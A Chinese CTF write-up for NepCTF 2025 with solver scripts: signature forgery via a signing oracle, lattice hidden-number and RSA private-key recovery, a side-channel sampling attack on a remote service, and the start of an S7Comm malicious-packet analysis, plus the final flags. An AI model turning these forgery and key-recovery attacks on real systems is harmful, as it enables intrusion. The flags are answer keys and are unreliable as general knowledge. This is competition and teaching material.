57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from gmssl import sm3
from random import SystemRandom
from ast import literal_eval
import os
flag = os.environ["FLAG"]
def SM3(data):
d = [i for i in data]
h = sm3.sm3_hash(d)
return h
def SM3_n(data, n=1, bits=256):
for _ in range(n):
data = bytes.fromhex(SM3(data))
return data.hex()[:bits // 4]


class Nepsign():
def __init__(self):
self.n = 256
self.hex_symbols = '0123456789abcdef'
self.keygen()

def keygen(self):
rng = SystemRandom()
self.sk = [rng.randbytes(32) for _ in range(48)]
self.pk = [SM3_n(self.sk[_], 255, self.n) for _ in range(48)]
return self.sk, self.pk

def sign(self, msg, sk=None):
sk = sk if sk else self.sk
m = SM3(msg)
m_bin = bin(int(m, 16))[2:].zfill(256)
a = [int(m_bin[8 * i: 8 * i + 8], 2) for i in range(self.n // 8)]
step = [0] * 48;
qq = [0] * 48
for i in range(32):
step[i] = a[i]
qq[i] = SM3_n(sk[i], step[i])
sum = [0] * 16
for i in range(16):
sum[i] = 0
for j in range(1, 65):
if m[j - 1] == self.hex_symbols[i]:
sum[i] += j
step[i + 32] = sum[i] % 255
qq[i + 32] = SM3_n(sk[i + 32], step[i + 32])
return [i for i in qq]

def verify(self, msg, qq, pk=None):
qq = [bytes.fromhex(i) for i in qq]
pk = pk if pk else self.pk
m = SM3(msg)
m_bin = bin(int(m, 16))[2:].zfill(256)
a = [int(m_bin[8 * i: 8 * i + 8], 2) for i in range(self.n // 8)]
step = [0] * 48;
pk_ = [0] * 48
for i in range(32):
step[i] = a[i]
pk_[i] = SM3_n(qq[i], 255 - step[i])
sum = [0] * 16
for i in range(16):
sum[i] = 0
for j in range(1, 65):
if m[j - 1] == self.hex_symbols[i]:
sum[i] += j
step[i + 32] = sum[i] % 255
pk_[i + 32] = SM3_n(qq[i + 32], 255 - step[i + 32])
return True if pk_ == pk else False


print('initializing...')
Sign = Nepsign()
while 1:
match int(input('> ')):
case 1:
msg = bytes.fromhex(input('msg: '))
if msg != b'happy for NepCTF 2025':
print(Sign.sign(msg))
else:
print("You can't do that")
case 2:
qq = literal_eval(input('give me a qq: '))
if Sign.verify(b'happy for NepCTF 2025', qq):
print(flag)

直接拿ai梭个脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from gmssl import sm3
import os
import ast
from pwn import *
import time

def SM3(data):
if isinstance(data, str):
data = data.encode()
data = list(data)
return sm3.sm3_hash(data)

def main():
# 目标消息
msg_target = b"happy for NepCTF 2025"
hex_symbols = '0123456789abcdef'

# 预计算目标消息的哈希和步骤
m_target = SM3(msg_target)

# 计算第一部分目标 (32个字节)
a_target = [int(m_target[2*i:2*i+2], 16) for i in range(32)]

# 计算第二部分目标 (16个步骤)
step_target_second = []
for d in hex_symbols:
positions = [idx for idx, char in enumerate(m_target) if char == d]
s = sum(pos + 1 for pos in positions) # 位置从1开始计数
step_target_second.append(s % 255)

# 为第一部分生成候选消息
print("Generating first part candidates...")
candidates1 = []
for i in range(32):
while True:
cand = os.urandom(16)
h = SM3(cand)
byte_val = int(h[2*i:2*i+2], 16)
if byte_val == a_target[i]:
candidates1.append(cand.hex())
print(f"Found candidate {i+1}/32")
break

# 为第二部分生成候选消息
print("Generating second part candidates...")
candidates2 = []
for d_idx, d_char in enumerate(hex_symbols):
while True:
cand = os.urandom(16)
h = SM3(cand)
positions = [idx for idx, char in enumerate(h) if char == d_char]
s = sum(pos + 1 for pos in positions)
if s % 255 == step_target_second[d_idx]:
candidates2.append(cand.hex())
print(f"Found candidate {d_idx+1}/16")
break

# 连接服务器
print("Connecting to server...")
context.log_level = 'debug'

try:
# 使用SSL连接443端口
r = remote('nepctf30-j7hd-joqr-3pf0-gsknee1an939.nepctf.com', 443, ssl=True)

# 接收所有初始化数据直到提示符
r.recvuntil(b'> ')

forged_qq = [None] * 48

# 获取第一部分的签名片段
for i in range(32):
r.sendline(b'1')
r.recvuntil(b'msg: ')
r.sendline(candidates1[i].encode())

# 接收签名响应
sig_line = r.recvline().decode().strip()
print(f"Received signature for candidate {i+1}: {sig_line[:50]}...")

try:
sig_list = ast.literal_eval(sig_line)
forged_qq[i] = sig_list[i]
print(f"Got signature part {i+1}/32")
except:
print(f"Error parsing signature for candidate {i}")
print(sig_line)
return

# 接收下一个提示符(如果有)
if i < 31:
r.recvuntil(b'> ')

# 接收第二部分前的提示符
r.recvuntil(b'> ')

# 获取第二部分的签名片段
for d_idx in range(16):
r.sendline(b'1')
r.recvuntil(b'msg: ')
r.sendline(candidates2[d_idx].encode())

# 接收签名响应
sig_line = r.recvline().decode().strip()
print(f"Received signature for candidate {32+d_idx+1}: {sig_line[:50]}...")

try:
sig_list = ast.literal_eval(sig_line)
forged_qq[32 + d_idx] = sig_list[32 + d_idx]
print(f"Got signature part {32+d_idx+1}/48")
except:
print(f"Error parsing signature for candidate {32+d_idx}")
print(sig_line)
return

# 接收下一个提示符(如果有)
if d_idx < 15:
r.recvuntil(b'> ')

# 接收提交前的提示符
r.recvuntil(b'> ')

# 提交伪造的签名
r.sendline(b'2')
r.recvuntil(b'give me a qq: ')
r.sendline(str(forged_qq).encode())

# 获取flag
try:
flag_response = r.recvline()
print("Flag response:", flag_response.decode())

# 尝试接收更多数据(如果有)
try:
additional = r.recv(timeout=1)
if additional:
print("Additional response:", additional.decode())
except:
pass
except EOFError:
print("Connection closed after submitting signature")

except Exception as e:
print(f"Error: {e}")
finally:
r.close()

if __name__ == '__main__':
main()

运行得到

最后flag为

1
NepCTF{4f19a525-7123-2bc6-0ee8-76c87d782559}

Lattice Bros

题目描述:

1
你能从给定的信息中找出隐藏的flag吗? flag格式为NepCTF{xxx}

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#已知α的极小多项式为三次多项式f(x),即f(α)=0,且α≈54236.606188881754809671280151541781895183337725393
#上述极小多项式的常数项为a0

from secret import a0,alpha
import gmpy2
from Crypto.Util.number import long_to_bytes
import random
from math import sqrt,log2

d=981020902672546902438782010902608140583199504862558032616415
p = d - a0

k=sqrt(log2(p))+log2(log2(p))
B = 2**30
assert B < p/2**k

m = 30
assert m > 2*sqrt(log2(p))

samples = []
betas = []

f = open("samples.txt",'w')
for _ in range(m):
t = random.randint(1, p-1)
beta = random.randint(-B + 1, B - 1)
a = (t * alpha - beta) % p
samples.append((t, a))
betas.append(beta)

f.write(str(samples))

for i in range(0,30):
assert (betas[i]-samples[i][0]*alpha+samples[i][1])%p == 0

#flag = long_to_bytes(alpha)

samples.txt
[(541847931463604073209188621415697353813245102261880389530448, 293760933113243563398917466885108625646262447370201484418246), (235213326900086489464935804156966465366154623411555613791270, 660823982268225103178763707015491421784294988488272636270997), (826464884761457937459245903152143755707241416981488127320435, 428521663319038461250005113612781686761766888058391496085911), (589542000504317435156560078533519448295689695687499354390208, 155284353896000150766154807679279597476176668344402166959399), (968823371588600973965757332601758200815345862153455338808286, 870008943690791009196027169525956126827736285614393106689402), (621636099728440147413990266662022925118216803638588918660041, 265635912066749696542909843111997941904342442664219734956888), (426696569424050102229606043215592727790577655338668728275370, 279313121876980354011480010042682666651614765507190502627689), (89450479064580125731654556963306718472532905610952012502649, 465933125964565419295325650759566635253450915499965633327941), (480355476500393865742379469913983270769356894135485925662119, 894041172171871806404285309781862268351135623868845025443422), (842436524669577199024236805258573090764419350786291073287889, 345478552143958037534551648319293899442551000874041707820740), (650054674429185550652935714084022116516082323269321462104664, 441999979283903658157822753439653947343822546158589507765994), (46289431385578693366971976442426853079852982529357847290686, 625618376463384339878849844467050454204685252824782609369180), (71444185449163133531919043374545893927347050624346741281881, 955925578289311966288639224625142299309823207245807788495453), (192579726169321656812883068526498248523814846320328766176253, 626481822474054336470183912297952839011392733501646931370367), (736527635648804640774976580747540045854351230084566721853611, 276626211757586963928788091386096607703513204646314683038338), (177922521867185878959621840269164617147915792720210315529733, 541058782621716573816245900423919799500476442285991532228641), (40610451174818168154306630612571678739921107216052349044576, 727642592899858828601137105077611015328512898368636299587376), (385012983728389322601149562441674995471397288632464238356283, 353921151307105661267278594470212933060655245893209524497156), (750447975601038834764379841158092390933760641866111445401426, 391626416964965737035878375834907580903143512300198923948189), (115058604943298010958881205548782439407592353731185670266593, 491630592857258949793489206081490523001249620510479961058022), (327389234395954477946639629629085910688793716425320663599360, 24975272330009592102362429346350824580378490147041708568130), (115595274689129534885608766476695918464309130165432995990883, 757961876891952019297626599379744405302595090402128271144165), (950804723308776351161744501221236453742418549093165078282534, 20307246759635231945223392614290397512873344480184942904518), (724537610412063699714461780160573528810830178440136810747811, 149681928388378582933943374524511804362928290938917573644613), (340891278018589324130004945217960336392205386747747011263373, 683307718413135477104477081812052183267507312278283317237187), (104379682905784169840335131193505192063050242530811180817410, 715010230598797717533306270232399781090458356371977748416491), (644160326926600986730919713173510327120201404569141824224075, 127877985489410167008195578625004740882394608402141169695352), (549253388716005399852261816416312267100135940382820676807345, 210560134643237517255193955173709174155305784935427470113433), (968265711632086435506163736279856957220961064226797549228006, 273174723915971720522674140326199419265943707917542063022561), (704367622558261900937184683100177434487519780290678439135652, 959106497548134540301589019840013331842784496835379005298630)]

方法一:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm
from sage.all import matrix, ZZ, QQ, RealField, floor, vector
import sys

# 样本数据
samples = [
(541847931463604073209188621415697353813245102261880389530448, 293760933113243563398917466885108625646262447370201484418246),
(235213326900086489464935804156966465366154623411555613791270, 660823982268225103178763707015491421784294988488272636270997),
(826464884761457937459245903152143755707241416981488127320435, 428521663319038461250005113612781686761766888058391496085911),
(589542000504317435156560078533519448295689695687499354390208, 155284353896000150766154807679279597476176668344402166959399),
(968823371588600973965757332601758200815345862153455338808286, 870008943690791009196027169525956126827736285614393106689402),
(621636099728440147413990266662022925118216803638588918660041, 265635912066749696542909843111997941904342442664219734956888),
(426696569424050102229606043215592727790577655338668728275370, 279313121876980354011480010042682666651614765507190502627689),
(89450479064580125731654556963306718472532905610952012502649, 465933125964565419295325650759566635253450915499965633327941),
(480355476500393865742379469913983270769356894135485925662119, 894041172171871806404285309781862268351135623868845025443422),
(842436524669577199024236805258573090764419350786291073287889, 345478552143958037534551648319293899442551000874041707820740),
(650054674429185550652935714084022116516082323269321462104664, 441999979283903658157822753439653947343822546158589507765994),
(46289431385578693366971976442426853079852982529357847290686, 625618376463384339878849844467050454204685252824782609369180),
(71444185449163133531919043374545893927347050624346741281881, 955925578289311966288639224625142299309823207245807788495453),
(192579726169321656812883068526498248523814846320328766176253, 626481822474054336470183912297952839011392733501646931370367),
(736527635648804640774976580747540045854351230084566721853611, 276626211757586963928788091386096607703513204646314683038338),
(177922521867185878959621840269164617147915792720210315529733, 541058782621716573816245900423919799500476442285991532228641),
(40610451174818168154306630612571678739921107216052349044576, 727642592899858828601137105077611015328512898368636299587376),
(385012983728389322601149562441674995471397288632464238356283, 353921151307105661267278594470212933060655245893209524497156),
(750447975601038834764379841158092390933760641866111445401426, 391626416964965737035878375834907580903143512300198923948189),
(115058604943298010958881205548782439407592353731185670266593, 491630592857258949793489206081490523001249620510479961058022),
(327389234395954477946639629629085910688793716425320663599360, 24975272330009592102362429346350824580378490147041708568130),
(115595274689129534885608766476695918464309130165432995990883, 757961876891952019297626599379744405302595090402128271144165),
(950804723308776351161744501221236453742418549093165078282534, 20307246759635231945223392614290397512873344480184942904518),
(724537610412063699714461780160573528810830178440136810747811, 149681928388378582933943374524511804362928290938917573644613),
(340891278018589324130004945217960336392205386747747011263373, 683307718413135477104477081812052183267507312278283317237187),
(104379682905784169840335131193505192063050242530811180817410, 715010230598797717533306270232399781090458356371977748416491),
(644160326926600986730919713173510327120201404569141824224075, 127877985489410167008195578625004740882394608402141169695352),
(549253388716005399852261816416312267100135940382820676807345, 210560134643237517255193955173709174155305784935427470113433),
(968265711632086435506163736279856957220961064226797549228006, 273174723915971720522674140326199419265943707917542063022561),
(704367622558261900937184683100177434487519780290678439135652, 959106497548134540301589019840013331842784496835379005298630)
]

def recover_minimal_polynomial(alpha_approx):
"""恢复α的极小多项式系数 - 使用官方方法"""
# 设置高精度实数场
R = RealField(200)
alpha = R(alpha_approx)
N = 10**45 # 放大因子

# 构造格基矩阵
M = matrix(ZZ, [
[floor(N), 1, 0, 0],
[floor(N * alpha), 0, 1, 0],
[floor(N * alpha**2), 0, 0, 1],
[floor(N * alpha**3), 0, 0, 0]
])

# LLL约化并取第一个向量
L = M.LLL()
row = L[0]

# 验证多项式根
R2 = RealField(1000)
x = R2['x'].gen()
f = row[1] + row[2] * x + row[3] * x**2 + x**3
root = f.roots()[0][0]
eps = abs(root - R2(alpha_approx))

if eps < 1/N:
print(f"多项式验证通过: 误差 = {eps:.2e} < 1/N")
else:
print(f"警告: 多项式验证失败, 误差 = {eps:.2e}")

return row

def solve_hnp(samples, p, B=2**30, max_k=1000):
"""解决隐藏数问题(HNP)"""
n = len(samples)

for k in tqdm(range(max_k), desc="求解HNP"):
try:
# 构造格基矩阵
L = matrix(QQ, n + 2, n + 2)

# 填充模方程部分
for i in range(n):
t, a = samples[i]
L[i, i] = p
L[-2, i] = -t
L[-1, i] = a

# 设置缩放因子
scale = B * 2**k
L[-2, -2] = scale / p
L[-1, -1] = B

# LLL约化并检查结果
reduced = L.LLL()

# 检查所有向量
for row in reduced:
if abs(row[-1]) == B:
alpha_val = abs(row[-2] * p) // scale
flag = long_to_bytes(int(alpha_val))

# 检查常见flag格式
if b'NepCTF' in flag or b'CTF' in flag or b'flag' in flag:
print(f"在 k={k} 时找到候选flag")
return flag
except Exception as e:
# 忽略处理过程中的小错误
continue

raise ValueError("未找到有效解")

def main():
"""主函数"""
# 参数设置
alpha_approx = "54236.606188881754809671280151541781895183337725393"
d = 981020902672546902438782010902608140583199504862558032616415
B = 2**30

print("步骤1: 恢复极小多项式系数...")
poly_row = recover_minimal_polynomial(alpha_approx)
a0 = poly_row[1] # 常数项

# 计算模数 p
p = d - a0
print(f"恢复的常数项 a0 = {a0}")
print(f"计算的模数 p = {p}")
print(f"p的位数: {p.nbits()} 位")

# 解决HNP问题
print("\n步骤2: 解决隐藏数问题(HNP)...")
flag = solve_hnp(samples, p, B)
print(f"\n恢复的Flag: {flag.decode()}")

if __name__ == "__main__":
main()

运行得到

方法二:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from Crypto.Util.number import *
from tqdm import trange

samples = [
(541847931463604073209188621415697353813245102261880389530448, 293760933113243563398917466885108625646262447370201484418246),
(235213326900086489464935804156966465366154623411555613791270, 660823982268225103178763707015491421784294988488272636270997),
(826464884761457937459245903152143755707241416981488127320435, 428521663319038461250005113612781686761766888058391496085911),
(589542000504317435156560078533519448295689695687499354390208, 155284353896000150766154807679279597476176668344402166959399),
(968823371588600973965757332601758200815345862153455338808286, 870008943690791009196027169525956126827736285614393106689402),
(621636099728440147413990266662022925118216803638588918660041, 265635912066749696542909843111997941904342442664219734956888),
(426696569424050102229606043215592727790577655338668728275370, 279313121876980354011480010042682666651614765507190502627689),
(89450479064580125731654556963306718472532905610952012502649, 465933125964565419295325650759566635253450915499965633327941),
(480355476500393865742379469913983270769356894135485925662119, 894041172171871806404285309781862268351135623868845025443422),
(842436524669577199024236805258573090764419350786291073287889, 345478552143958037534551648319293899442551000874041707820740),
(650054674429185550652935714084022116516082323269321462104664, 441999979283903658157822753439653947343822546158589507765994),
(46289431385578693366971976442426853079852982529357847290686, 625618376463384339878849844467050454204685252824782609369180),
(71444185449163133531919043374545893927347050624346741281881, 955925578289311966288639224625142299309823207245807788495453),
(192579726169321656812883068526498248523814846320328766176253, 626481822474054336470183912297952839011392733501646931370367),
(736527635648804640774976580747540045854351230084566721853611, 276626211757586963928788091386096607703513204646314683038338),
(177922521867185878959621840269164617147915792720210315529733, 541058782621716573816245900423919799500476442285991532228641),
(40610451174818168154306630612571678739921107216052349044576, 727642592899858828601137105077611015328512898368636299587376),
(385012983728389322601149562441674995471397288632464238356283, 353921151307105661267278594470212933060655245893209524497156),
(750447975601038834764379841158092390933760641866111445401426, 391626416964965737035878375834907580903143512300198923948189),
(115058604943298010958881205548782439407592353731185670266593, 491630592857258949793489206081490523001249620510479961058022),
(327389234395954477946639629629085910688793716425320663599360, 24975272330009592102362429346350824580378490147041708568130),
(115595274689129534885608766476695918464309130165432995990883, 757961876891952019297626599379744405302595090402128271144165),
(950804723308776351161744501221236453742418549093165078282534, 20307246759635231945223392614290397512873344480184942904518),
(724537610412063699714461780160573528810830178440136810747811, 149681928388378582933943374524511804362928290938917573644613),
(340891278018589324130004945217960336392205386747747011263373, 683307718413135477104477081812052183267507312278283317237187),
(104379682905784169840335131193505192063050242530811180817410, 715010230598797717533306270232399781090458356371977748416491),
(644160326926600986730919713173510327120201404569141824224075, 127877985489410167008195578625004740882394608402141169695352),
(549253388716005399852261816416312267100135940382820676807345, 210560134643237517255193955173709174155305784935427470113433),
(968265711632086435506163736279856957220961064226797549228006, 273174723915971720522674140326199419265943707917542063022561),
(704367622558261900937184683100177434487519780290678439135652, 959106497548134540301589019840013331842784496835379005298630)
]

alpha = RealField(200)(54236.606188881754809671280151541781895183337725393)
N = 10^45

alpha = RealField(200)(54236.606188881754809671280151541781895183337725393)
N = 10^45

L = matrix(ZZ, [[floor(N), 1, 0, 0], [floor(N * alpha), 0, 1, 0], [floor(N * alpha^2), 0, 0, 1], [floor(N * alpha^3), 0, 0, 0]])
res = L.LLL()[0]
a0 = res[1]
print(res)

# 重新求根验证
R.<x> = RealField(1000)[]
f = res[1] + res[2] * x + res[3] * x^2 + x^3
eps = f.roots()[0][0] - alpha

assert abs(eps) < 1/N

n = 30
d = 981020902672546902438782010902608140583199504862558032616415

B = 2^30
p = d - a0

L = matrix(QQ, n+2, n+2)

for i in range(n):
t, a = samples[i]
L[i, i] = p
L[-2, i] = -t
L[-1, i] = a
L[-2, -2] = B / p
L[-1, -1] = B

res = L.LLL()[1]
betas = res[:-2]
alpha = (p - int(abs(res[-2] * p)) // B) % p

flag = long_to_bytes(alpha)
print(flag)

运行得到

最后flag为

1
NepCTF{c0ngr4tv!at1Ons!!}

ezRSA2

题目描述:

1
2
3
Easy RSA, easy strategy. No need to brute force.

Perhaps it's easier than ezRSA in NepCTF 2024.

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import getStrongPrime, getRandomNBitInteger, GCD, inverse, long_to_bytes, bytes_to_long, sieve_base
from flag import flag


def gen_parameters(gamma=0.33, beta=0.33):
p = getStrongPrime(1024)
q = getStrongPrime(1024)
N = p*q
phi = (p-1)*(q-1)
while True:
d = getRandomNBitInteger(int(2048*beta))
if GCD(d, phi) == 1:
break
e = inverse(d, phi)

hints = []
M = 1
for i in range(1, len(sieve_base)):
li = sieve_base[i]
hints.append(d%li)
M *= li
if M.bit_length() >= 1024*gamma:
break

return e, N, hints



def main():
e,N,hints = gen_parameters()
print(f'e={hex(e)}')
print(f'N={hex(N)}\n')
print(f'hints={hints}\n')

flag_prefix = b'NepCTF{'
assert flag.startswith(flag_prefix)
assert flag.endswith(b'}')

pt = bytes_to_long(flag[len(flag_prefix):-1])
ct = pow(pt, e, N)
print(f'ct={hex(ct)}')

main()


"""
e=0x73915608ed64c9cf1a2279684cab4f4a78fba229d45d4f860971a241481363470a19cb0dc0d00f816b5befdaca017cf71483e96ef17b36179012f5194a0e6bf481bb06c2644f74c6812efb65d05c00631f282d6aa55c0bc140a1830b95a1cf4b6024cb0db53f2c2189897c41f22e2eec773723f531ec4bfa537fae6de5fe480cf46fe17850f7eb47df08194d95db3d26ac923b26e110ee645239ab586bbc546ddc5906f280a106edbb727ccb05536b5a3f5c0ebcf865c95ce58be54f7f3547aa53baa218b0dfa98e42d925fa341e45f94a3b16b0c83802660c7f34de3336cb21f219073cf8e9f5e39d47f0a9a9ee7c255f09a6add9a2f7a47960f4a853183d29
N=0xba8956e81394f3f1265ca5d9c4ad1ab0078bb43c4b80a231ab2cc62246ae45f66a562252622aed2cbbfc08647ef2fec0f97a632bf2242845f4b3af0c427cec3d90f42e90278a5a0feeed0922a8cd2278074ac54e9cfc0e96ff68f8d8f266dd87dc1cc59c2895ec884de2022311767f6a9a7e0bd288c79620e28b83bb3c8d8ad1047c839d6ccf5544eaf434a5f00b951769ab3121298d04b63a162757beb3d49917cd0c9e02ee1ac29398c8130961d5a2f2833aba1e538edb7bb97071f40fae543d1622f0c9206c6d4d8abb2ac1b93ebfb603c2f3a909ede357ade4043550fe540d13a4e87db8d731fe130f15a43a1a00364f5da2d87f7b660c3a04e734218a11

hints=[1, 3, 0, 3, 9, 16, 10, 14, 5, 11, 21, 18, 30, 30, 38, 2, 20, 62, 66, 1, 22, 56, 41, 13, 78, 59, 51, 6, 57, 117, 73, 75, 96, 112, 50, 93, 158, 97, 146, 8, 65, 96, 186, 161, 90, 131, 46, 32, 140, 133, 50, 43, 151, 234]

ct=0x101b284ad196b5bbd3d3df00a7d3577caeb29c681bdd122582b705afc671febf45d4f3786640e55aadd6a31ecc49175f97b772720f1735f8555f768b137a4643cd6958f80a3dfca4d0270ad463d6dde93429940bd2abb5ad8408b0906fa8d776544a1c50cc0d95939bef4c3fb64d0b52dca81ff0f244fc265bfc0bc147435d05f8f1a146e963a1403b3c123b4d6e73d1fd897109995009be1673212607f0ea7ae33d23f3158448b05c28ea6636382eee9436c4a6c09023ead7182ecd55ac73a68d458d726e1abc208810468591e63f4b4c2c1f3ce27c4800b52f7421ccab432c03e88b3b255740d719e40e0226eabb7633d97ed210e32071e2ac36ed17ef442e
"""

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from sympy import prod
from tqdm import trange

e = 0x73915608ed64c9cf1a2279684cab4f4a78fba229d45d4f860971a241481363470a19cb0dc0d00f816b5befdaca017cf71483e96ef17b36179012f5194a0e6bf481bb06c2644f74c6812efb65d05c00631f282d6aa55c0bc140a1830b95a1cf4b6024cb0db53f2c2189897c41f22e2eec773723f531ec4bfa537fae6de5fe480cf46fe17850f7eb47df08194d95db3d26ac923b26e110ee645239ab586bbc546ddc5906f280a106edbb727ccb05536b5a3f5c0ebcf865c95ce58be54f7f3547aa53baa218b0dfa98e42d925fa341e45f94a3b16b0c83802660c7f34de3336cb21f219073cf8e9f5e39d47f0a9a9ee7c255f09a6add9a2f7a47960f4a853183d29
N = 0xba8956e81394f3f1265ca5d9c4ad1ab0078bb43c4b80a231ab2cc62246ae45f66a562252622aed2cbbfc08647ef2fec0f97a632bf2242845f4b3af0c427cec3d90f42e90278a5a0feeed0922a8cd2278074ac54e9cfc0e96ff68f8d8f266dd87dc1cc59c2895ec884de2022311767f6a9a7e0bd288c79620e28b83bb3c8d8ad1047c839d6ccf5544eaf434a5f00b951769ab3121298d04b63a162757beb3d49917cd0c9e02ee1ac29398c8130961d5a2f2833aba1e538edb7bb97071f40fae543d1622f0c9206c6d4d8abb2ac1b93ebfb603c2f3a909ede357ade4043550fe540d13a4e87db8d731fe130f15a43a1a00364f5da2d87f7b660c3a04e734218a11
ct = 0x101b284ad196b5bbd3d3df00a7d3577caeb29c681bdd122582b705afc671febf45d4f3786640e55aadd6a31ecc49175f97b772720f1735f8555f768b137a4643cd6958f80a3dfca4d0270ad463d6dde93429940bd2abb5ad8408b0906fa8d776544a1c50cc0d95939bef4c3fb64d0b52dca81ff0f244fc265bfc0bc147435d05f8f1a146e963a1403b3c123b4d6e73d1fd897109995009be1673212607f0ea7ae33d23f3158448b05c28ea6636382eee9436c4a6c09023ead7182ecd55ac73a68d458d726e1abc208810468591e63f4b4c2c1f3ce27c4800b52f7421ccab432c03e88b3b255740d719e40e0226eabb7633d97ed210e32071e2ac36ed17ef442e

hints = [1, 3, 0, 3, 9, 16, 10, 14, 5, 11, 21, 18, 30, 30, 38, 2, 20, 62, 66, 1, 22, 56, 41, 13, 78, 59, 51, 6, 57, 117, 73, 75, 96, 112, 50, 93, 158, 97, 146, 8, 65, 96, 186, 161, 90, 131, 46, 32, 140, 133, 50, 43, 151, 234]
mod = [sieve_base[i] for i in range(1, len(hints) + 1)]
M = prod(mod)

d0 = crt(hints, mod)

L = matrix(ZZ, [[2^1699, 0, e*d0], [0, 2^1366, e*M], [0, 0, -N]])

d = ZZ(abs(L.LLL()[0][1] // 2^1366) * M + d0)

assert d.bit_length() == floor(2048 * .33)

m = pow(ct, d, N)
print(long_to_bytes(int(m)))

运行得到

最后flag为

1
NepCTF{larg3r_M0du1u5_1nf0_g1ves_b3773r_b0und5}

Transition

题目描述:

1
2
3
4
5
我们通过一个DFF串行把数据从本机传输进FPGA里然后进行能量采集。先对时钟采样来了解一下板子的基础信息,或许我们还能从中发现一些关于transition的侧信道信息……

由于出题人疏忽,本题在第一次放出时未提供附件,在此滑跪。

(flag格式为flag{})

下载附件

这题不会,直接根据大佬博客复现

NepCTF2025-Crypto-WP | FariTree’s Blog

测试发现,一共采样了8000个数据,根据data的长度为64,推出data中的一个数据在采样中占125次,所以估计在125处附近会发生跳变,接着测试110~140的连续采样,发现在128处的采样能反映所有的跳变情况:

所以每次采样可以获取2比特信息,这样再以250为间隔采样,只需32次就能完全确定data,这也足够获取完整的flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from scipy.io import savemat,loadmat
from pwn import remote
from tqdm import trange

io = remote("nepctf31-y3lq-xp2k-1u4l-tmywf6cka938.nepctf.com", 443, ssl=True)
samples = 64
# sampledata = []
# int_sampledata = []
guess = ""
for i in range(128, 8000, 250):
io.sendafter(b">", b"1\n")
position = i
io.sendafter(b">", (str(position) + "\n").encode())
recv = eval(io.recvline().decode())
print(f"{position}:\t", recv)
if recv <= 0.5:
guess = guess + "00"
elif 0.5 < recv <= 2:
guess = guess + "01"
elif 2 < recv <= 3:
guess = guess + "10"
elif 3 < recv:
guess = guess + "11"
# sampledata.append(eval(recv))
# int_sampledata.append(int(eval(recv)))
# print(sampledata)
# print(int_sampledata)

io.sendafter(b">", b"2\n")
for i in trange(64):
io.recvuntil(b">")
if guess[i] == "0":
io.sendline(b"0\n")
else:
io.sendline(b"1\n")
print(io.recvall(3).decode())
io.close()

运行得到

最后flag为

1
flag{iT'S_Tr@ns1tlOn-1e4k@GEd8d0dafc}

ICS

Factory - 水罐 SIEM

题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
薯饼最近给开了15年的工厂产线接上了互联网,但似乎抠门的薯饼没有采购新的设备,因此他只能自己实现一个SIEM。但是这个SIEM的准确度似乎欠佳。我们准备了一些流,你能帮助薯饼判断这些流是否是恶意的吗?

对于每一个报文,其给出格式如下

<depth><overflow><waterActuator><packet>
1BYTE 1BYTE 1BYTE nBYTEs
0x001f50 0x001f60 0x001f70



其中depth为水罐的水深度传感器数值,overflow为逻辑输出“是否溢出”,waterActuator为水闸开关,packet为操作报文。
当认为某报文为恶意时,请输入1,否则请输入0
薯饼准备了功能2,让你能够快速了解报文内容,请每次给他一个纯报文字符串(注意不含depth等前三字节),如下是一个输入例子。
b'\x03\x00\x00\x19\x02\xf0\x802\x01\x00\x00\x08\xfc\x00\x08\x00\x00\x1e\x01\x00\x00\x00\x00\x00\x01'

特别地,薯饼的控制单元架号为2300,存储的DB号为1002。

这题也是不会,根据大佬博客复现

NepCTF 2025 | Aristore

水罐有水位(depth)、溢出(overflow)、水闸(waterActuator)三个状态
从题目暗示的DB号、架号和报文格式可以推断协议是S7Comm
经过分析,一个报文被判定为恶意的依据与水罐的物理状态无关,恶意行为完全体现在其S7Comm协议的构造层面
以下是识别恶意报文的特征,一个报文只要满足其中任意一条就视为恶意

恶意特征1:非法功能调用

规则:

报文的COTP(面向连接的传输协议)参数字节不等于0x80 这个关键字节是服务器发来的完整数据流中的第10个字节
(索引为 9)。

解释:

在标准的S7通信数据传输中,这个字节通常是0x80,在此题目中,出题人将0x81到0x89的值用作代表各种被禁止的特殊功能(如系统诊断、代码上传等)的标志。这是最高优先级的恶意特征。

恶意报文示例:
1
2
3
# 第10个字节是 0x85 (正常应为 0x80)
↓↓
